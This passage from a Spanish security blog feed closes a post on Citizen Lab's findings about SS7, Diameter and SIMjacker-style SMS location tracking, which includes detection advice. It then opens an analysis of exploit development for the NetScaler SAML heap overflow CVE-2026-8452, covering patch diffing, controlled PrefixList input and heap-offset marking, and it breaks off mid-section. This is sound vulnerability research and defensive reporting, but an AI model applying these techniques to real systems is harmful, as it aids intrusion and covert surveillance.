vigilancia&lt;/strong&gt;.&lt;/p&gt;&lt;h2 data-end=&quot;6989&quot; data-section-id=&quot;18lw5ty&quot; data-start=&quot;6942&quot;&gt;STA2: cuando la SIM se convierte en el espía&lt;/h2&gt;&lt;p data-end=&quot;7058&quot; data-start=&quot;6991&quot;&gt;La segunda campaña, &lt;strong data-end=&quot;7019&quot; data-start=&quot;7011&quot;&gt;STA2&lt;/strong&gt;, introduce otro vector: la propia SIM.&lt;/p&gt;&lt;p data-end=&quot;7284&quot; data-start=&quot;7060&quot;&gt;La técnica está relacionada con &lt;strong data-end=&quot;7105&quot; data-start=&quot;7092&quot;&gt;SIMjacker&lt;/strong&gt;, conocida desde 2019. En determinadas SIM que soportan &lt;strong data-end=&quot;7176&quot; data-start=&quot;7161&quot;&gt;S@T Browser&lt;/strong&gt;, es posible enviar comandos mediante SMS especialmente construidos para que sean procesados por la tarjeta.&lt;/p&gt;&lt;p data-end=&quot;7436&quot; data-start=&quot;7286&quot;&gt;El atacante envía un SMS binario y la SIM puede interpretar determinados comandos, entre ellos algunos capaces de obtener información de localización.&lt;/p&gt;&lt;p data-end=&quot;7574&quot; data-start=&quot;7438&quot;&gt;Citizen Lab observó mensajes compatibles con este mecanismo, incluyendo &lt;code data-end=&quot;7524&quot; data-start=&quot;7510&quot;&gt;TP-PID = 127&lt;/code&gt;, &lt;code data-end=&quot;7541&quot; data-start=&quot;7526&quot;&gt;TP-DCS = 0x16&lt;/code&gt; y estructuras TLV en el payload.&lt;/p&gt;&lt;p data-end=&quot;7749&quot; data-start=&quot;7576&quot;&gt;La consecuencia es especialmente inquietante: &lt;strong data-end=&quot;7748&quot; data-start=&quot;7622&quot;&gt;la SIM puede convertirse en un sensor remoto de localización sin necesidad de instalar spyware convencional en el teléfono&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;7917&quot; data-start=&quot;7751&quot;&gt;Y la escala resulta todavía más llamativa: Citizen Lab identificó &lt;strong data-end=&quot;7859&quot; data-start=&quot;7817&quot;&gt;más de 15.700 intentos de localización&lt;/strong&gt;, con actividad que se remonta al menos a octubre de 2022.&lt;/p&gt;&lt;p data-end=&quot;8017&quot; data-start=&quot;7919&quot;&gt;STA2 combinaba SS7, SMS maliciosos y Diameter. Cuando un mecanismo fallaba, había otro disponible.&lt;/p&gt;&lt;p data-end=&quot;8114&quot; data-start=&quot;8019&quot;&gt;No parece una simple prueba de concepto, sino una capacidad operacional mantenida durante años.&lt;/p&gt;&lt;h2 data-end=&quot;8160&quot; data-section-id=&quot;1t2s0g5&quot; data-start=&quot;8121&quot;&gt;El verdadero exploit es la confianza&lt;/h2&gt;&lt;p data-end=&quot;8289&quot; data-start=&quot;8162&quot;&gt;Después de analizar ambas campañas, resulta demasiado sencillo concluir que el problema es simplemente que &lt;strong data-end=&quot;8288&quot; data-start=&quot;8269&quot;&gt;SS7 es inseguro&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;8324&quot; data-start=&quot;8291&quot;&gt;El problema real es más profundo.&lt;/p&gt;&lt;p data-end=&quot;8652&quot; data-start=&quot;8326&quot;&gt;Las redes móviles fueron diseñadas alrededor de un modelo de confianza entre operadores. Ese modelo era necesario para que el roaming funcionase a escala global, pero el ecosistema actual es mucho más complejo: operadores virtuales, proveedores IPX, intermediarios, acuerdos de roaming y empresas especializadas en vigilancia.&lt;/p&gt;&lt;p data-end=&quot;8696&quot; data-start=&quot;8654&quot;&gt;La cadena de confianza se ha hecho enorme.&lt;/p&gt;&lt;p data-end=&quot;8976&quot; data-start=&quot;8698&quot;&gt;Desde esta perspectiva, el ataque recuerda a un &lt;strong data-end=&quot;8769&quot; data-start=&quot;8746&quot;&gt;supply-chain attack&lt;/strong&gt; aplicado al plano de señalización. El atacante no tiene por qué romper directamente la infraestructura del objetivo. Puede utilizar un elemento de la cadena que ya tenga autorización para llegar hasta ella.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUV9Rmqk8_7tV4NWy2UrWOoac08WQhDejOqpWaqOrlMVAyNh_Xldr3jd8IyISSYP94ItLT7IB0nf4ClTS5FhiV1r0iVb6lScxj5ewHs9dwDrWBF9a0Wp0DTEKS_2GSQcS2ECsxA-Ta84cYA66VJOpdWVycQl4wDwcSme_8cIsd4Cjgz1_yH9KrlhNkWNsI/s1774/ghost_operators.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;887&quot; data-original-width=&quot;1774&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUV9Rmqk8_7tV4NWy2UrWOoac08WQhDejOqpWaqOrlMVAyNh_Xldr3jd8IyISSYP94ItLT7IB0nf4ClTS5FhiV1r0iVb6lScxj5ewHs9dwDrWBF9a0Wp0DTEKS_2GSQcS2ECsxA-Ta84cYA66VJOpdWVycQl4wDwcSme_8cIsd4Cjgz1_yH9KrlhNkWNsI/s1600/ghost_operators.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2 data-end=&quot;9021&quot; data-section-id=&quot;d1vwxq&quot; data-start=&quot;8983&quot;&gt;¿Cómo detectar a un Ghost Operator?&lt;/h2&gt;&lt;p data-end=&quot;9080&quot; data-start=&quot;9023&quot;&gt;La defensa no consiste simplemente en instalar un parche.&lt;/p&gt;&lt;p data-end=&quot;9303&quot; data-start=&quot;9082&quot;&gt;Los &lt;strong data-end=&quot;9110&quot; data-start=&quot;9086&quot;&gt;signalling firewalls&lt;/strong&gt; deben aplicar políticas restrictivas sobre las operaciones de localización, autenticación y modificación de información de abonados. Pero filtrar únicamente por IP u operador no es suficiente.&lt;/p&gt;&lt;p data-end=&quot;9673&quot; data-start=&quot;9305&quot;&gt;Los equipos de seguridad deberían correlacionar &lt;code data-end=&quot;9366&quot; data-start=&quot;9353&quot;&gt;Origin-Host&lt;/code&gt;, &lt;code data-end=&quot;9382&quot; data-start=&quot;9368&quot;&gt;Origin-Realm&lt;/code&gt;, MCC/MNC, peer de interconexión y ruta esperada. También resulta especialmente sospechoso un mismo IMSI recibiendo consultas desde múltiples operadores en poco tiempo, cambios rápidos entre SS7 y Diameter, &lt;code data-end=&quot;9601&quot; data-start=&quot;9589&quot;&gt;Session-ID&lt;/code&gt; anómalos, &lt;code data-end=&quot;9626&quot; data-start=&quot;9612&quot;&gt;Route-Record&lt;/code&gt; inesperados o SMS binarios dirigidos a la SIM.&lt;/p&gt;&lt;p data-end=&quot;9749&quot; data-start=&quot;9675&quot;&gt;El principio es el mismo que aplicamos al detectar una infraestructura C2. No buscamos únicamente una dirección IP.&amp;nbsp;&lt;strong data-end=&quot;9842&quot; data-start=&quot;9793&quot;&gt;Buscamos el comportamiento de la herramienta.&lt;/strong&gt;&lt;/p&gt;&lt;h1 data-end=&quot;9866&quot; data-section-id=&quot;18vm96a&quot; data-start=&quot;9849&quot;&gt;Ghost Operators&lt;/h1&gt;&lt;p data-end=&quot;9923&quot; data-start=&quot;9868&quot;&gt;Quizá esa sea la principal lección de &lt;em data-end=&quot;9922&quot; data-start=&quot;9906&quot;&gt;Bad Connection&lt;/em&gt;.&lt;/p&gt;&lt;p data-end=&quot;10081&quot; data-start=&quot;9925&quot;&gt;Las campañas descritas por Citizen Lab representan una versión de &lt;strong data-end=&quot;10080&quot; data-start=&quot;9991&quot;&gt;Living off the Land y supply-chain attack aplicada al mundo de las telecomunicaciones&lt;/strong&gt;. El atacante no necesariamente trae su propia infraestructura.&amp;nbsp;&lt;strong data-end=&quot;10169&quot; data-start=&quot;10146&quot;&gt;Utiliza la nuestra.&amp;nbsp;&lt;/strong&gt;No necesita necesariamente comprometer nuestro teléfono.&amp;nbsp;&lt;strong data-end=&quot;10270&quot; data-start=&quot;10229&quot;&gt;Utiliza las funciones de nuestra red.&amp;nbsp;&lt;/strong&gt;No necesita necesariamente atravesar un firewall mediante un exploit.&amp;nbsp;&lt;strong data-end=&quot;10385&quot; data-start=&quot;10343&quot;&gt;Busca un camino que ya esté permitido.&lt;/strong&gt;&lt;/p&gt;&lt;p data-end=&quot;10636&quot; data-start=&quot;10387&quot;&gt;Y por eso el problema no es únicamente que SS7 sea antiguo o que Diameter pueda ser manipulado. El problema es que hemos construido una red global en la que una parte importante de la seguridad depende de saber &lt;strong data-end=&quot;10635&quot; data-start=&quot;10598&quot;&gt;quién está autorizado a preguntar&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;10788&quot; data-start=&quot;10638&quot;&gt;Cuando un atacante consigue hacerse pasar por quien tiene permiso para preguntar, la pregunta más peligrosa deja de ser &lt;em data-end=&quot;10787&quot; data-start=&quot;10758&quot;&gt;“¿cómo explotó el sistema?”&lt;/em&gt;.&lt;/p&gt;&lt;p data-end=&quot;10806&quot; data-start=&quot;10790&quot;&gt;Pasa a ser otra:&amp;nbsp;&lt;strong data-end=&quot;10848&quot; data-start=&quot;10810&quot;&gt;¿Quién le enseñó que podía entrar?&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;993&quot; data-start=&quot;448&quot;&gt;





















































































&lt;/p&gt;&lt;p data-end=&quot;11051&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;10850&quot;&gt;La investigación completa puede consultarse en &lt;strong data-end=&quot;10985&quot; data-start=&quot;10897&quot;&gt;Bad Connection: Uncovering Global Telecom Exploitation by Covert Surveillance Actors&lt;/strong&gt;, publicada por Citizen Lab. &lt;span class=&quot;contents&quot; data-content-reference-end=&quot;11157&quot; data-content-reference-start=&quot;11014&quot;&gt;&lt;span data-state=&quot;closed&quot;&gt;&lt;a class=&quot;decorated-link&quot; href=&quot;https://citizenlab.ca/research/uncovering-global-telecom-exploitation-by-covert-surveillance-actors/?utm_source=chatgpt.com&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Leer la investigación de Citizen Lab&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/1192201842145913374/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/08/ghost-operators-red-movil-vigilancia.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/1192201842145913374'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/1192201842145913374'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/08/ghost-operators-red-movil-vigilancia.html' title='Ghost Operators: cuando la red móvil se convierte en una plataforma de vigilancia'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUV9Rmqk8_7tV4NWy2UrWOoac08WQhDejOqpWaqOrlMVAyNh_Xldr3jd8IyISSYP94ItLT7IB0nf4ClTS5FhiV1r0iVb6lScxj5ewHs9dwDrWBF9a0Wp0DTEKS_2GSQcS2ECsxA-Ta84cYA66VJOpdWVycQl4wDwcSme_8cIsd4Cjgz1_yH9KrlhNkWNsI/s72-c/ghost_operators.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-7212150623638561162</id><published>2026-08-18T08:48:06.860+02:00</published><updated>2026-08-18T08:49:47.190+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dos"/><category scheme="http://www.blogger.com/atom/ns#" term="exploiting"/><category scheme="http://www.blogger.com/atom/ns#" term="overflow"/><category scheme="http://www.blogger.com/atom/ns#" term="patching"/><category scheme="http://www.blogger.com/atom/ns#" term="rce"/><category scheme="http://www.blogger.com/atom/ns#" term="reversing"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><title type='text'>CVE-2026-8452: diseccionando el Pre-Auth RCE de NetScaler que convirtió un heap overflow en un write-what-where</title><content type='html'>&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay vulnerabilidades que empiezan con un simple &lt;code dir=&quot;ltr&quot;&gt;memcpy()&lt;/code&gt; demasiado confiado y terminan con alguien teniendo control de &lt;code dir=&quot;ltr&quot;&gt;RIP&lt;/code&gt; en uno de los appliances que hacen de puerta de entrada a una red corporativa. &lt;b&gt;CVE-2026-8452&lt;/b&gt; es un buen ejemplo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Oficialmente, Citrix describe el problema como una vulnerabilidad de tipo &lt;em&gt;memory overflow&lt;/em&gt; que puede provocar comportamiento impredecible, errores o denegación de servicio. La condición de explotación publicada por el fabricante requiere que NetScaler ADC o NetScaler Gateway esté configurado como &lt;b&gt;Gateway&lt;/b&gt; —SSL VPN, ICA Proxy, CVPN o RDP Proxy— o como &lt;b&gt;AAA virtual server.&lt;/b&gt; Citrix le asigna CWE-119 y una puntuación CVSS v4 de 8.8.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero la parte realmente interesante aparece cuando dejamos de mirar el CVE como una entrada de una base de datos de vulnerabilidades y empezamos a analizarlo como lo haría un exploit developer. Porque la pregunta deja de ser: ¿Dónde está el buffer overflow? y pasa a ser: ¿Qué primitive puedo construir a partir de ese overflow?&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La investigación publicada por &lt;a href=&quot;https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452&quot; target=&quot;_blank&quot;&gt;watchTowr&lt;/a&gt; es especialmente interesante precisamente por eso: no se queda en demostrar que el proceso se cae, sino que reconstruye cómo una corrupción de memoria puede transformarse en una primitiva de escritura arbitraria, después en control del flujo de ejecución y finalmente en ejecución de código.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y ahí es donde CVE-2026-8452 se convierte en un magnífico caso práctico de &lt;em&gt;exploit development&lt;/em&gt; sobre un appliance de red.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Antes de empezar: una pequeña precisión sobre CVE-2026-8452&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay una cierta peculiaridad en la atribución de esta vulnerabilidad. El advisory de Citrix agrupa varias vulnerabilidades de NetScaler y acredita en conjunto a Michael Tucker, del XOR team de JPMorgan Chase, Aliz Hammond de watchTowr y Maxim Suhanov. Citrix no asigna públicamente cada CVE a cada investigador.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso, cuando watchTowr reconstruye la vulnerabilidad mediante &lt;em&gt;patch diffing&lt;/em&gt;, la identificación concreta de CVE-2026-8452 debe entenderse en el contexto de esa investigación.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es un detalle menor, pero importante cuando hablamos de &lt;em&gt;vulnerability research&lt;/em&gt;: una cosa es lo que dice explícitamente el fabricante y otra la reconstrucción técnica que hacemos a partir del parche y del comportamiento del software.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;1. El camino hasta el heap overflow&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La historia comienza en un lugar bastante poco sospechoso: SAML.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;SAML utiliza XML y, como cualquier protocolo basado en XML que incorpore firmas digitales, tiene que resolver un problema fundamental: dos documentos XML que representan la misma estructura lógica pueden tener representaciones textuales diferentes.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por ejemplo, estas dos estructuras pueden ser equivalentes desde el punto de vista XML aunque su representación textual no sea idéntica:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;&amp;lt;data id=&quot;123&quot; type=&quot;example&quot;&amp;gt;
    Hello
&amp;lt;/data&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;y:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;&amp;lt;data type=&quot;example&quot; id=&quot;123&quot;&amp;gt;Hello&amp;lt;/data&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Para poder firmar y verificar XML de forma determinista existe la canonicalización.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El problema aparece cuando el resultado de esa canonicalización acaba siendo considerablemente más grande que el buffer que el código espera recibir. Como veis la secuencia conceptual es sencilla:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirx0NEdNii0Fy0nluBo6R1tCEldsNth16v6OjRBAD9OsEeGa2CsO1aAx5wqTC2q_QaJ9rw-JYRhArZMAFDLqvQSVuJZurvZZnU9bC5OBeZmRj85spAM-3Yfx9EzUfFsZymkW9vvU4b49D72FYGuV5AdM1pgOGiFKmS_U-uiP3TuLs8-Kd2bTH__JNBlsCq/s1536/01_saml_heap_overflow_blanco.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;512&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirx0NEdNii0Fy0nluBo6R1tCEldsNth16v6OjRBAD9OsEeGa2CsO1aAx5wqTC2q_QaJ9rw-JYRhArZMAFDLqvQSVuJZurvZZnU9bC5OBeZmRj85spAM-3Yfx9EzUfFsZymkW9vvU4b49D72FYGuV5AdM1pgOGiFKmS_U-uiP3TuLs8-Kd2bTH__JNBlsCq/s1600/01_saml_heap_overflow_blanco.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El bug no está en que SAML tenga firmas. Tampoco en que XML tenga canonicalización. El problema está en asumir que el resultado de esa transformación cabe siempre en un espacio de memoria determinado. Y esa es una de las reglas más antiguas de la explotación de memoria:&amp;nbsp;&lt;strong&gt;si el tamaño de los datos está controlado por el atacante, el tamaño del destino tiene que estar controlado por el programa.&lt;/strong&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;2. ¿Qué demonios hace realmente la canonicalización XML?&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Para entender el bug hay que detenerse un momento aquí. Una firma XML no se calcula directamente sobre el XML tal y como aparece en el documento. Antes hay que obtener una representación canónica.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Primero tenemos el XML original. Después se aplica el algoritmo de canonicalización, normalmente conocido como C14N. El resultado es una representación determinista del documento o de la parte del documento que se está firmando.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;A continuación se calcula un &lt;em&gt;digest&lt;/em&gt; criptográfico de esa representación y se utiliza durante la verificación de la firma. El proceso, simplificando mucho, sería conceptualmente:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju0DThXzM1fIlDD7VgrlG3MJFSOmpmBZNMmiQ8mRh9dSEHmsS71Qh29G6VbKLsbRlF3v5hIy5uEG6KQsT4CCrlM7pA5psUCvZLW5nTPz55YtlzM82-aWb_8v_k-GA-SUK8Cdd_HuZZeRFyunVDAhuhMemT2SvRRnoE1KkhlNuEMhu5s2WOUdvCmrtnjSaZ/s1536/02_xml_canonicalization_blanco.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;512&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju0DThXzM1fIlDD7VgrlG3MJFSOmpmBZNMmiQ8mRh9dSEHmsS71Qh29G6VbKLsbRlF3v5hIy5uEG6KQsT4CCrlM7pA5psUCvZLW5nTPz55YtlzM82-aWb_8v_k-GA-SUK8Cdd_HuZZeRFyunVDAhuhMemT2SvRRnoE1KkhlNuEMhu5s2WOUdvCmrtnjSaZ/s1600/02_xml_canonicalization_blanco.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto tiene una consecuencia importante para nuestra vulnerabilidad:&amp;nbsp;&lt;strong&gt;la canonicalización puede transformar una entrada relativamente compacta en una representación mucho mayor.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y si una parte de esa representación está influenciada por el atacante, tenemos exactamente el tipo de situación que interesa a un investigador de corrupción de memoria.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;3. El parche es probablemente la pista más importante&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cuando el código fuente no está disponible, una de las herramientas más potentes que tenemos es el &lt;em&gt;patch diffing&lt;/em&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En lugar de intentar comprender un binario gigantesco desde cero, comparamos:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;versión vulnerable
        +
versión parcheada
        ↓
funciones modificadas&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La idea es sencilla.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si un fabricante corrige una vulnerabilidad añadiendo una comprobación de tamaño antes de un &lt;code dir=&quot;ltr&quot;&gt;memcpy()&lt;/code&gt;, probablemente acabamos de encontrar la huella del bug.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;watchTowr utilizó precisamente este enfoque sobre &lt;code dir=&quot;ltr&quot;&gt;nsppe&lt;/code&gt;, el &lt;em&gt;packet-processing engine&lt;/em&gt; de NetScaler.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La comparación redujo el universo de investigación a un conjunto mucho más pequeño de funciones modificadas y permitió localizar cambios relacionados con el procesamiento SAML.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Uno de los cambios relevantes consistía precisamente en introducir comprobaciones de tamaño antes de copiar datos asociados a &lt;code dir=&quot;ltr&quot;&gt;SignedInfo&lt;/code&gt;. Conceptualmente, la diferencia es:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWwjDSgiVK3NTgbONORTu7A4J1tajgkfp5vPWwkOqrPs7Gslqmyb5OVCzrVcQM9YEMSpiY7MVVcxvCTSilKETigIJWn1tLxnlfbjWakgjrGhEswTPvzstRYnqv23Yu1eCGc7yBwQ5vm5uNurhhyphenhypheniIN5HHoV1V40IWhfTP_Q8JmJCa0EPsMWr8DnLBubfW3/s512/03_patch_diffing.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;341&quot; data-original-width=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWwjDSgiVK3NTgbONORTu7A4J1tajgkfp5vPWwkOqrPs7Gslqmyb5OVCzrVcQM9YEMSpiY7MVVcxvCTSilKETigIJWn1tLxnlfbjWakgjrGhEswTPvzstRYnqv23Yu1eCGc7yBwQ5vm5uNurhhyphenhypheniIN5HHoV1V40IWhfTP_Q8JmJCa0EPsMWr8DnLBubfW3/s1600/03_patch_diffing.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No hay que interpretar ese código como el código fuente literal de NetScaler, sino como una representación conceptual del cambio de seguridad. Y aquí aparece una de las técnicas que más me gustan del &lt;em&gt;reverse engineering&lt;/em&gt; de vulnerabilidades:&amp;nbsp;&lt;strong&gt;buscar qué condición nueva ha tenido que introducir el fabricante para que el bug desaparezca.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Muchas veces el parche explica el bug mejor que el propio advisory.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;4. PrefixList: el pequeño detalle que permite controlar el overflow&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Dentro de &lt;code dir=&quot;ltr&quot;&gt;SignedInfo&lt;/code&gt; aparece otro elemento interesante relacionado con la canonicalización: &lt;code dir=&quot;ltr&quot;&gt;PrefixList&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Este atributo permite especificar una lista de prefijos y, desde el punto de vista de un atacante, tiene una característica especialmente interesante:&amp;nbsp;&lt;strong&gt;puede contener una cantidad considerable de información controlada por el usuario.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto resulta perfecto para estudiar el comportamiento del heap.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En lugar de enviar simplemente una cadena enorme formada por:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;AAAA AAAA AAAA AAAA AAAA...&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;podemos utilizar valores identificables:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;N0000000
N0000001
N0000002
N0000003
...&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixutqSW6qoggqkbkWx-b8ece6FpOhU34wMuwClzdA8A5MieS-riKqSKwT6TrD5prYmxfGLF2q0nDgJXKIr7LsPn2LBElc7liVIr8nrijm3npl_S1LLRCB-DoBipmez40GilIHAEeRP8C6ZqocAsRBXkqnJziwx6TWW1pcoX9KqMyAd4Sze0X4tz4Z47s8J/s512/04_prefixlist.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;341&quot; data-original-width=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixutqSW6qoggqkbkWx-b8ece6FpOhU34wMuwClzdA8A5MieS-riKqSKwT6TrD5prYmxfGLF2q0nDgJXKIr7LsPn2LBElc7liVIr8nrijm3npl_S1LLRCB-DoBipmez40GilIHAEeRP8C6ZqocAsRBXkqnJziwx6TWW1pcoX9KqMyAd4Sze0X4tz4Z47s8J/s1600/04_prefixlist.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto parece una tontería, pero en reversing es extremadamente útil.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si posteriormente encontramos en memoria:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;N0000124&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;sabemos inmediatamente qué parte de nuestro input ha llegado hasta ese punto.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es decir, estamos convirtiendo el payload en una especie de cinta métrica. En vez de preguntar: ¿Qué bytes estoy controlando? podemos preguntar: ¿Qué offset de mi input está controlando este campo?&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y esa información es fundamental para reconstruir la geometría del heap.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;5. Del overflow a la corrupción de otro objeto&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí empieza la parte realmente interesante.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El resultado de la canonicalización termina almacenándose en estructuras utilizadas por NetScaler para manejar buffers de red.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El overflow no tiene por qué destruir inmediatamente el proceso. Puede continuar escribiendo más allá del límite del buffer y empezar a sobrescribir información perteneciente al siguiente objeto que se encuentre en memoria.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a 